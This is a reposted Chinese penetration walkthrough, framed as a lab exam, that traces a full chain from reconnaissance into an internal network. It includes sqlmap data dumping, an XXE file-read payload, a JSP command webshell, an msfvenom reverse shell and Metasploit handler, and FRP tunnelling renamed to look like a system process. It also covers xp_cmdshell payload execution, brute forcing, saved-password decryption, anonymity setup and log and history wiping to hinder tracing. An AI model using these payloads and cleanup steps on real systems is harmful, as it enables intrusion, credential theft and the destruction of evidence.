揭秘 | 渗透内网工作组的链式艺术
2023-4-11 17:25:42 Author: 星冥安全(查看原文) 阅读量:18 收藏

揭秘 | 渗透内网工作组的链式艺术

    本文的背景是师傅Z给徒弟007的一次模拟实战环境的靶场考核测试,想考察其渗透入门级环境的思路和能力。本文基于007的转述而成,颇为详细地记录了他渗透指定目标时的整个链式攻击路径。笔者作为渗透小白,感觉能从中学到很多的东西,征得同意,分享出来一起学习!

    本文的背景是师傅Z给徒弟007的一次模拟实战环境的靶场考核测试,想考察其渗透入门级环境的思路和能力。本文基于007的转述而成,颇为详细地记录了他渗透指定目标时的整个链式攻击路径。笔者作为渗透小白,感觉能从中学到很多的东西,征得同意,分享出来一起学习!

    浏览器设置:

    1)Chrome浏览器确保更新到最新版本。

    2)Chrome浏览器设置,权限全都设置为不允许。

    3)Chrome隐私设置和安全性全部清理一遍。

    4)安装WebRTC Network Limiter,关掉UDP请求,防止泄露IP。

    5)安装可靠的User-Agent混淆插件,市面上很多插件依然会泄露UA。

    6)安装隐私獾插件,防止被追踪。

    7)安装ModHeader插件,混淆HTTP协议信息并伪造IP头。

    IP隐藏设置:

    外部网络:

    通过高匿渠道购入不同平台的3~5台VPS,用于后续使用。

    选择其中一台用来搭建VPN,一台用来搭建Clash/v2ray接入其他机场回到国内高速代理,过程需要确保加密数据再传输,以防出现不可控外部风险。

    内部网络:

    树莓派充当软路由,加入全局跳板,确保VPN不会宕机,同时源IP多一层跳板,防止真实IP泄露。

    物理环境:

    使用非实名的日抛流量卡/手机卡,自带话费,打完一次就换。

    桌面环境:

    将移动SSD固态硬盘多次复写后再安装纯净的Linux/Macos系统,然后安装相应平台的虚拟机,拷贝纯净Kali镜像作为桌面环境使用,执行自定义工作流安装脚本,安装一些著名开源常用工具的稳定版

    网络匿名性检测网站:

    https://whoer.net/

    https://www.astrill.com/

    https://proxy-checker.net/

    注意事项:

    尽量避免使用第三方工具,避免全量爆破(容易打出预警),避免依赖脚本POC、尽可能手工测试,采用原生系统自带工具,善于伪装原生行为,来执行一系列低感知、少痕迹、无害化的渗透动作。

    1. 关于渗透准备的环节的内容,笔者认为大可不必,但读者根据个人需要可以自行增减,更加细节化这个环节,有助于降低被溯源的概率,但是如果缺乏足够成熟的匿名设施,那么会在某个程度上,这些行为可能会阻碍渗透的速度,故抛砖引玉、因人而异、因地制宜。

    目标域名:xxxxxxx.com

    预期目标:低成本、短时间(2~3天)能够了解内网拓扑,定位到核心机器并完成接管。

    主域名为门户网站,并没有太多功能,没能找到切入点,故工作内容可以转向攻击面延伸的打点环节。

    子域名信息:

    1.  subfindr -d xxxxxxx.com -o redacted.txt  

    IP探测(cdn):

    1.  cat redacted.txt|xargs -P 5 -I {}  mip {}  

    分析域名历史解析记录、多节点Ping,确认无CDN,得到真实网段1.0.0.1/24

    端口扫描:

    1.  # VPS  
    2.  masscan -p1-65535 --rate=2000  1.0.0.1/24  
    3.    
    4.  # FOFA/ZOOMEYE/SHODAN聚合  
    5.  Search: ip = "1.0.0.1/24"  

    获取title信息:

    1.  cat redacted.txt|httpx  -threads 5  -web-server --title --status-code  
    2.  cat ip.txt|httpx  -threads 5  -web-server --title --status-code  

    扫描robots.txt:

    1.  cat redacted.txt|httpx -threads  20 --title --status-code -path '/robots.txt'  
    2.  cat ip.txt|httpx -threads  20 --title --status-code -path '/robots.txt'  

    扫描文件泄漏:

    1.  cat redacted\_all.txt|nuclei -rate-limit 50 -tlog request.debug -t ~/nuclei-templates/files/  
    2.  Google Dork:  
    3.  site:xxxxxxx.com inurl:login  
    4.  site:xxxxxxx.com inurl:upload  
    5.  site:xxxxxxx.com intext:管理|登陆|邮箱|手机  
    6.  site:xxxxxxx.com ext:docx|pdf  
    7.  ......  

    收集到多个登陆口及其开放的服务:

    1.  https://xxxxxxx.com/stuxxx/login.html  
    2.  https://xxxxxxx.com/conxxx/login/login.html  
    3.  https://redacted.xxxx.com/conxxx/  
    4.  http://ixx.xxxxxxx.com/conxxx/  
    5.  http://exam.xxxxxxx.com/exam/  
    6.  https://peixxxx.xxxxxxx.com/peixxx/login/  
    7.  http://ixx.xxxxxxx.com/console/  
    8.  https://x.x.x.x:6443/welcome.php 乱入的VPN  
    9.  ......  

    社会关系信息:组织成员、管理人员邮箱、域名备案信息、招聘信息...

    加载默认配置Burp,主动关掉主被动扫描模式,配置Project Option的代理,再设置好Target Options,接下来,用挂上Burp代理的浏览器去测试打点环节中获取到的大量WEB服务URL。

    3.1 发现SQL注入

    某个子域名用户中心的订单查看的功能处,会发起一个POST请求,参数course_id较为可疑。

    1.  POST /xxxx/pay/addTrade HTTP/1.1  
    2.  body: course\_id = 1  

    通过简单的数字运算和)|'|"闭合确定存在无回显的SQL注入,支持布尔盲注和延时注入,布尔盲注有一个缺点就是,匹配成功会导致生成一个订单,会显得很异常,可能需要自行编写脚本进行改良,二就是选用延时进行注入。这里我选择了延时注入,因为POST请求相对于GET请求较为隐蔽,又经过测试当前站点防护水位很低,一个WAF都没有,故可以选择SQLMAP来读取指定管理员表:

    1.  sqlmap -r redacted.txt --technique T --random-agent  --proxy=http://127.0.0.1:8080 --threads=10 -D course -T user -C "username, password" –dump  

    1. SQLMAP的探测手段比大多数脚本小子都要好,这里需要注意SQLMAP挂上Burp代理来绕过HTTPS的检验,这样也能够审计SQLMAP流经Burp发送的HTTP包内容。

    经过一段时间的等待后,可以获取到后台的管理员账户和密码信息,其中密码为明文,这时并不用急着去登陆,因为不一定能Shell,可知数据库为SQLSERVER,查看权限为DBA,故尝试堆叠执行命令,返回结果非常慢,SQLMAP报错,不能够直接利用,先记录下来。

    3.2 发现Redis未授权

    打点环节中利用网络空间搜索引擎的信息可以快速定位到目标Redis未授权访问。

    1.  redis-cli -h 1.0.0.126  

    Windows 64位机器,redis版本3.2.100,无主从复制,可以考虑写Shell或者写启动项进行GetShell。

    利用工具写入启动项后需要等待重启才能生效。故想通过路径写Shell,尝试扫描机器上的web服务来收集路径信息:

    1.  masscan -p1-65535 1.0.0.126 --rate=20000 >2.txt  
    2.  cat 2.txt | grep -P '(\\d+)/tcp' -o|grep -P '\\d+' -o >ports.txt  
    3.  # 纯端口扫描  
    4.  cat ports.txt |xargs -I {} echo "1.0.0.126:"{}|httpx -o 200\_port.txt  
    5.  # 带host扫描  
    6.  cat ports.txt |xargs -I {} echo "x.xxxxxxx.com:"{}|httpx -o 200\_host.txt  

    dirsearch进行目录扫描:

    1.  cat 200\_\*.txt|xargs -I {} dirsearch --random-agents -t 20 -u {} -e \*  

    FUZZ没有很大收获,9000端口开放了一个Gitlab服务,GitLab Community Edition 8.15.1,其他端口404,并没有路径信息。

    针对9000端口的Gitlab,盲尝试CVE-2021-22205 Github上面的脚本,发现没有成功,考虑到这个版本比较老,故可以先留着,后面如果没有新思路,回头再研究它,毕竟随便整整一个老版本的1day不是很大问题。

    到了这一步,很大概率是能获得Shell的,但是有一个情况需要考虑,redis那台机器可能并不能够出网,后续需要改成监听类型的木马,利用起来稍微有点麻烦,不是很适合短期作战的思路,目前的想法还是想找一条直接的路进入内网中,故回到SQL注入那个点,利用SQL注入获取到的账号密码登陆进网站后台。

    观察JS发现存在Ueditor的路径,要是asp.net的话还好说,可能可以GetShell,jsp的话一般没有什么漏洞,简单上传一个图片进行测试,如预期一样并不存在配置不当。通过继续点击各个功能,有个设置题目答案选项的点,使用了XML类型的数据,插入XML注入语句进行测试

    1.  <?xml version="1.0" encoding="utf-8"?>   
    2.  <!DOCTYPE items \[    
    3.  <!ENTITY test SYSTEM "file:///etc/passwd"\> \]>  
    4.  <items>  
    5.  <item><serial>1</serial><answer>0</answer><title>&test;</title></item>  
    6.  <item><serial>2</serial><answer>1</answer><title><!\[CDATA\[2\]\]></title></item>  
    7.  <item><serial>3</serial><answer>0</answer><title><!\[CDATA\[3\]\]></title></item>  
    8.  <item><serial>4</serial><answer>0</answer><title><!\[CDATA\[4\]\]></title></item>  
    9.  </items>  

    回到题目的答案选项,发现可以正常回显出信息,java的XXE支持file://协议列目录,故可以收集到很多有趣的信息,比如.git-credentials

    利用文件里面的账户信息,我们可以尝试去9000端口的GitLab进行登陆,很好,Success,Admin权限。

    翻找一番项目,根据域名前缀,很快定位到相关的项目的GitUtilController.java文件中的other方法,将可控的参数传进去gitCmds方法进行命令拼接,造成命令执行,阅读项目中的路由接口,很容易就可以构造出利用的POC。

    原本打算直接反弹Shell,但是很迷,虽然机器出网,但是没办法对我的VPS或者reverse-shell.sh发起请求,而且tomcat也不支持传入类似-、|之类的符号,导致没办法正常写入文件,为了省事,我最终选择通过ueditor上传CMD JSP和蚁剑一句话,比较顺利。

    1.  <%  
    2.      **if**("023".equals(request.getParameter("pwd"))){  
    3. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
    4.          **int** a = -1;  
    5.          byte\[\] b = **new** byte\[2048\];  
    6.          out.print("");  
    7.          **while**((a=in.read(b))!=-1){  
    8.              out.println(**new** String(b));  
    9.          }  
    10.         out.print("");  
    11.     }  
    12. %>  

    成功GetShell之后,分析history,可知网站通过gitlab来部署和更新代码的,开发为了方便选择缓存用户名和密码,用于后续进行验证,方便对网站代码进行更新。(生产环境跟开发环境一体化,自然会出现很多问题)

    浏览history中,发现root用户在.ssh路径下写入了一份公钥,说明有人员定期管理这台机器,last定位到管理机器的IP地址:10.0.0.57。

    netstat查看网络链接,找到数据库-75和redis-16的链接信息

    翻找网站目录的配置文件,web.xml和redis.properties

    得到数据库账号密码:UXXCM:[email protected],Redis用于缓存,可未授权访问。通过Shell管理工具自带的数据库功能链接到mssql数据库,执行命令查看权限及其出网状态。

    1.  exec master..xp\_cmdshell "whoami && nslookup baidu.com"   

    对机器继续收集一些相关信息:

    Microsoft Windows Server 2019 Datacenter、补丁较少、Administrator账户似乎是机器初始化生成的,管理员登陆日期较为久远,磁盘也没有敏感信息,进程有360。

    重点关注下网络链接信息:

    发现有57、60、106(shell的IP)链接到数据库,通过简单curl 1.0.0.57发现是没有WEB服务的,那么这个链接很有可能是navicat之类的工具发起的,进一步说明57这台机器应该是核心的控制机器。

    为了更好地对内网进行扫描,迫切需要构建一个socks5代理,并将Linux机器反弹到VPS的MSF,进行后续操作。

    一开始打算先搭建FRP搞一条socks5通道出来,这个机器使用其他端口失败,因为访问baidu.com能成功,说明可能开放80、443之类的端口,故尝试使用443常用https端口尝试Bypass。

    原以为即将步入内网游戏结束,但是那台机器很佛,有时候能连接到VPS的IP,有时候不行,上传frpc都做不到,为了解决这个问题,不得不对此进行一番排查。

    1.  # 系统信息,centos  
    2.  cat /etc/\*release\*  
    3.  # 失败  
    4.  traceroute baidu.com   
    5.  # 发现Generated by NetworkManager  
    6.  cat /etc/resolv.conf  
    7.  # 尝试关闭,依然没有效果  
    8.  systemctl stop NetworkManager  
    9.  # 添加公共dns,看下nslookup是否正常  
    10. nmcli connection show # 获取网卡名称 ens160  
    11. nmcli con mod ens160  ipv4.dns "114.114.114.114 8.8.8.8"  
    12. nmcli con up ens160 # 依然没用  
    13. # 关闭iptables,发现根本就没有启动  
    14. systemctl stop iptables  

    唯一可以知道的是traceout预设的dns服务器ip是成功的,其他DNS服务器例如8.8.8.8则是不行,挺魔性的,没运维经验,猜测是被某个保护进程给强制Battle了。(后面发现不是这样的!)

    继续测试,内部估计有白IP和白端口放行,但是那个白IP列表应该是动态的,因为有时候能连接到自己的VPS。

    尝试正向反弹Shell,发现外部端口被过滤。ps -ef查看进程,发现存在vmtoolsd,同时/tmp目录出现VM的日志信息,这台机器应该是一台虚拟机,非常迷惑的是一开始,VPS的80端口有时候能被目标机器请求,后面就一直没反应了。于是,我在这个点陷进去了,纠结这个机器不能出网到底是什么原因,进行一系列测试,别的机子是能请求到VPS的,一到目标机器就不行了,甚至连请求都接收不到,但是请求类似知乎、qq、百度这些站点就可以,一时间没什么头绪,先搁置,写会代码放松下。

    渗透的本质是信息收集,继续整理手头的信息,一个出网有限制的Shell(数据库mssql、redis账户信息已知)、一个开放redis的gitlab window服务器(Admin账户已知)、前期打点收集到的各种登陆口、账号邮箱等信息。

    习惯性地搜集Gitlab中所有项目的数据库链接信息:

    结果令我大失所望,连上的都不能出网,更别说一些已经过期连不上的。

    继续折腾,脑子一个念头闪过,可能是Shell的这台机子有策略限制的?如果可以换一台,是不是可能就可以了?

    抱着这个想法,基于之前收集到信息,我发现多个项目都是基于一个板子开发的,代码重合度很高,所以经过梳理之后,我整理出与已经shell的网站页面很相似的两个站点peixxx.xxxxxxx.com和xxxing.xxxxxxx.com,通过阅读项目代码,发现都存在同样命令执行漏洞,当我兴高采烈地冲上去请求一波发现,这个洞是需要后台管理员权限的,难道我要重新注册一个账号重新进行一次耗时的SQL注入?难道我要继续留下几百条痕迹?是我的SQLMAP很勇?因为心疼差不多5毛钱一条的接号短信的费用,让我重新注册一个账号似乎是不可能的事情了,要么试试同样的管理员密码?在十来年的渗透生涯中,这种成功率很高,信心满满,结果失败了,一气之下,不顾日志记录,连着登陆了好几次,wow???后面我不信邪,继续尝试了其他账户,能成功登陆一些非管理员权限的账户,但是却没办法访问命令执行那个漏洞点,返回包提示访问出错。

    文件上传GetShell

    继续浏览其他项目,搜索有没有类似漏洞,大概看了10个左右,没有发现线索,不过在找的过程,发现了主站的项目,花十几分钟浏览代码,很容易就找到一处文件上传。

    1)解析Request的文件表单上传包

    2)获取文件名,拼接路径后直接写入文件

    漏洞点在getFileNameByTime函数没有对后缀进行处理:

    Burp右键构造出表单文件请求包,然后直接发送就可以上传成功。

    Shell:

    成功GetShell后,第一个念头就是进内网,要不然这样搞Linux有啥意思?信息收集可以放在后面进行梳理,最重要是构建通向内网的隧道和良好的交互式执行环境。

    007对隧道执念很深,笔者认为这里应该有很多方式可以搞,比如基于jsp文件来进行扫描和数据库爆破,并不一定非要出网用熟悉的工具来测试。

    原本我以为换个服务器应该会不一样了,结果是同样的情况,心态崩了,后面没办法了,得想尽办法搞个代理,方便本地fuzz一下内网服务。

    尝试reGrorg

    上传proxy.jsp,尝试使用网页代理,这个性能一般般,能支持基本RDP的数据传输。

    1.  https://xxx.xxxxxxx.com/ueditor/jsp/xxx/proxy.jsp  

    本地构建代理:

    1.  python neoreg.py  -u "https://xxx.com/ueditor/xx/xx/proxy.jsp" -k password -p 9999  

    然后用kscan进行socks5代理扫描:

    1.  kscan --proxy socks5://127.0.0.0:9999  -t 1.0.0.0/24 --threads 10  

    效果非常不尽人意,扫描质量并不好。

    继续挂着这个低速代理折腾几十分钟,没很大收获,主要是很卡。不过,在这个过程中,对Shell测试其他点后,我发现了命令不回显的原因,是Nginx代理设置了超时时间窗口,超过窗口的花请求就会被断开,导致没有命令结果回显,并不是被Battle,后面通过一些途径弄到了一台国内机器的IP用socat进行端口转发,一切似乎好起来了。

    MSF上线

    生成Linux ELF木马文件:

    1.  msfvenom -p linux/x64/meterpreter/reverse\_tcp LHOST=172.16.252.129 LPORT=443 -f elf > shell.elf  

    MSF Server端配置:

    1.  use exploit/multi/handler  
    2.  set payload linux/x64/meterpreter/reverse\_tcp  
    3.  set lhost 172.16.252.129  
    4.  set lport 443  
    5.  show options  
    6.  exploit  

    反弹上线

    配置FRP

    1.  upload ../shell/frpc   
    2.  upload ../shell/frpc.ini  

    切换到shell:

    1.  mv frpc systemed  
    2.  mv frpc.ini config.ini  
    3.  chmod +x ./systemed  
    4.  ./systemed -c config.ini  

    进入内网之后,一切就像切菜了,简单nmap全量扫一波,再次确认基本没有防护软件。

    所剩时间并不多,故考虑直接工具一把梭。

    快速定位管理机器:

    shell1:

    shell2:

    不难可以确定核心的主控在于57、102、131、159、220,其中56、58比较少见。

    快速定位Web服务;

    1.  ./kscan -Pn -t 1.0.0.0/24 -p 80,443,8000-9000   

    没发现一些堡垒机之类的集权WEB服务,都是一些很容易日的站点,因为有源码没意思。

    因为开放了很多1433,考虑爆破数据库来拿下几台window的机器,看下Window的密码规则。

    1.  hydra -L u.txt -P p.txt  -M t.txt mssql -vV  

    发现其中有一台机器是56?这不是控制机器么?好家伙,天助我也。

    1. exec master..xp\_cmdshell "whoami && ipconfig && nslookup baidu.com"   

    权限system,虽然不出网但是问题不是很大,在其他数据库找到出网的机器作为立足点就行。我选择的方案是,在出网的Window机器中直接构建一个共享目录(删起来方便)用来传递木马,采用正向Shell,即可成功上线。

    1.  exec master..xp\_cmdshell "cmd \\c \\\\1.0.0.29\\360.exe"  

    直接Dump一波密码。

    好家伙,这波让我抓到规律了,密码形式为[email protected],hydra爆破一波,又拿下一些Window机器。

    同时在浏览56这台机器的桌面文件夹,我就发现有了Xshell的快捷方式,那么一切似乎也很简单。

    Xshell 默认路径

    C:\Users\Administrator\AppData\Roaming\NetSarang\Xshell\Sessions\

    Xshell版本为3.0<5.1,为固定key加密,网上脚本跑一波,解了一波密。

    然后很自然的,代入这些账号密码,nmap脚本跑一波,Py处理下结果,成功获取到十几台其他的Linux服务器。

    1.  #!/usr/bin/env python3  
    2.  # -\*- coding:utf-8 -\*-  
    3.    
    4.  import re  
    5.  with open("200.txt""r") as f:  
    6.      content 
    = f.read()  
    7.  result = re.findall(r"for (\\d+.\\d+.\\d+.\\d+)(?:.|\\n)\*?Accounts:(?:.|\\n)\*?(\\w+:.\*?) -(?:.|\\n)\*?",content)  
    8.  **for** x in result:  
    9.      print(x)  

    自此,基于这3个密码,核心的WEB服务器都可以完全控制。渗透目标基本完结,继续下去没很大意义。

    nmap统计下,没拿下的Linux服务器:

    nmap统计下没拿下的Window服务器:

    经过一番测试,感觉这些机器并没有很多有趣的信息,反而在其他IP有一些信息,能够打向开发植入木马。

    不过没拿下的IP中有台核心控制机器57,感觉可以扩大范围,不过对我来说没啥意义,况且根据整理出的密码特征,慢慢爆破一波也不是很难。

    每次做完项目,都要花大量的时间在清理痕迹这个环节中,所以每次渗透前都要考虑怎么做才可以避免减少这个环节的工作量,比如工具上传到某个统一的隐藏文件夹,工具检测环境变量来自删除、编写脚本实现日志自动删除等等......

    我们是从外到内打进去的,那么清理痕迹就从内到外,需要反过来进行处理,和入栈出栈差不多。

    1)一般来说我都不会连RDP,因为这个会留下系统审核日志,要不然需要打开日志管理器清除一下。

    2)CS我一般不落地,CS结束完所有全部进程前,用tasklist /svc看一下,注入powershell一定要退出。

    3)落地的CS马则必须要基本删除一次,来增加溯源成本。一般来说,我的木马在反沙箱这块设计是和常规思路反着来的,这次测试比较成功,没有沙箱上线,说明后门还没有上传被分析。

    4)Linux清理一系列进程,并清除Shell文件及其对应位置的目录,这一块计划后面统一上内存shell。

    1.  ps -ef|grep 'pty'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {}  
    2.  ps -ef|grep '/bin/sh -c cd'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {}  
    3.  shred -zvu -n 5 ./temp/\*.jsp  
    4.  rm -r ./temp  
    5.  sed '120,$d' -i  /root/.bash\_history   
    6.  ......

    5)数据库和log文件,尽量删,模糊搜索log字符串,基于日期定位,再选择性删掉比较明显的痕迹,做不到100%无痕,因为可能有上游记录,目的就是增加溯源路径成本。

    6)格式化VPS服务器,删除掉所有信息。

    1.   dd **if**\=/dev/zero of=/dev/raw/raw1 bs=1k count=3000  

    有幸与007一起交流内网渗透的知识,很感谢007的耐心指导,并欣赏其能够大方地分享自己常用的链式渗透思路。笔者结合007给出的靶场案例进行总结,链式流程:前期准备->边界打点->0day/1day GetShell->内网代理->内网漫游->痕迹清理->反思改进。不得不说,这个过程确实很完整很有参考意义,不过其中一些细节方面,007没能进一步详细说明,颇为遗憾!

    转载:https://forum.butian.net/share/1391作者:26号院大家可以关注一波作者

     点击下方小卡片或扫描下方二维码观看更多技术文章

    师傅们点赞、转发、在看就是最大的支持


    文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247488339&idx=1&sn=ae4f9d67eb560eabd9d027142d83e24a&chksm=c12c2595f65bac83b0250a60376a5f4dbad18c9aad3049c8fe0dc3fd5411138751cc16e2e579#rd
    如有侵权请联系:admin#unsafe.sh